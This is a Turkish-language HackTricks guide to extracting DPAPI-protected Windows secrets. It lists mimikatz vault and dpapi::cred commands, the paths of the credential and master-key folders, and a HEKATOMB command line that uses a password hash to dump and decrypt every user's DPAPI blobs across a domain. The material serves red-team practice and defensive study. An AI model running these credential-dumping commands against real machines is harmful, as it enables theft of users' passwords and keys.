DPAPI - Şifrelerin Çıkarılması
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
DPAPI Nedir
Data Protection API (DPAPI), esasen Windows işletim sisteminde asimetrik özel anahtarların simetrik şifrelemesi için kullanılmaktadır ve kullanıcı veya sistem sırlarını önemli bir entropi kaynağı olarak kullanır. Bu yaklaşım, geliştiricilerin kullanıcıların oturum açma sırlarından veya sistem şifrelemesi için sistemin alan kimlik doğrulama sırlarından türetilen bir anahtar kullanarak verileri şifrelemelerine olanak tanıyarak şifrelemeyi basitleştirir; böylece geliştiricilerin şifreleme anahtarının korunmasını kendilerinin yönetmesine gerek kalmaz.
DPAPI Tarafından Korunan Veriler
DPAPI tarafından korunan kişisel veriler arasında şunlar bulunmaktadır:
- Internet Explorer ve Google Chrome'un şifreleri ve otomatik tamamlama verileri
- Outlook ve Windows Mail gibi uygulamalar için e-posta ve dahili FTP hesap şifreleri
- Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için şifreler, şifreleme anahtarları dahil
- Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için şifreler
- Credential Manager tarafından yönetilen ağ şifreleri ve CryptProtectData kullanan uygulamalardaki kişisel veriler, örneğin Skype, MSN messenger ve daha fazlası
Liste Vault
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
Kimlik Bilgisi Dosyaları
Korunan kimlik bilgisi dosyaları şunlarda bulunabilir:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Mimikatz dpapi::cred
kullanarak kimlik bilgileri bilgilerini alın, yanıtınızda şifreli veriler ve guidMasterKey gibi ilginç bilgiler bulabilirsiniz.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
mimikatz modülünü dpapi::cred
uygun /masterkey
ile şifre çözmek için kullanabilirsiniz:
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
Master Keys
DPAPI anahtarları, kullanıcının RSA anahtarlarını şifrelemek için %APPDATA%\Microsoft\Protect\{SID}
dizininde saklanır; burada {SID} o kullanıcının Güvenlik Tanımlayıcısı dır. DPAPI anahtarı, kullanıcıların özel anahtarlarını koruyan anahtar ile aynı dosyada saklanır. Genellikle 64 bayt rastgele veriden oluşur. (Bu dizinin korunduğunu ve bu nedenle dir
komutunu kullanarak listeleyemeyeceğinizi, ancak PS'den listeleyebileceğinizi unutmayın).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
Bu, bir kullanıcının bir dizi Master Key'inin nasıl görüneceğidir:
Genellikle her master key, diğer içeriği şifreleyebilen bir şifreli simetrik anahtardır. Bu nedenle, şifreli Master Key'i çıkarmak, daha sonra onunla şifrelenmiş diğer içeriği şifrelemek için ilginçtir.
Master key'i çıkar ve deşifre et
Master key'i çıkarmak ve deşifre etmek için bir örnek için https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ gönderisine bakın.
SharpDPAPI
SharpDPAPI, @gentilkiwi'nin Mimikatz projesinden bazı DPAPI işlevselliğinin C# portudur.
HEKATOMB
HEKATOMB, LDAP dizininden tüm kullanıcıların ve bilgisayarların çıkarılmasını ve RPC aracılığıyla etki alanı denetleyici yedek anahtarının çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların tüm DPAPI blob'larını almak için tüm bilgisayarlarda smbclient gerçekleştirecek ve her şeyi etki alanı yedek anahtarı ile deşifre edecektir.
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
LDAP'tan çıkarılan bilgisayar listesi ile, onları bilmeseniz bile her alt ağı bulabilirsiniz!
"Çünkü Etki Alanı Yönetici hakları yeterli değil. Hepsini hackleyin."
DonPAPI
DonPAPI, DPAPI tarafından korunan sırları otomatik olarak dökebilir.
Referanslar
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.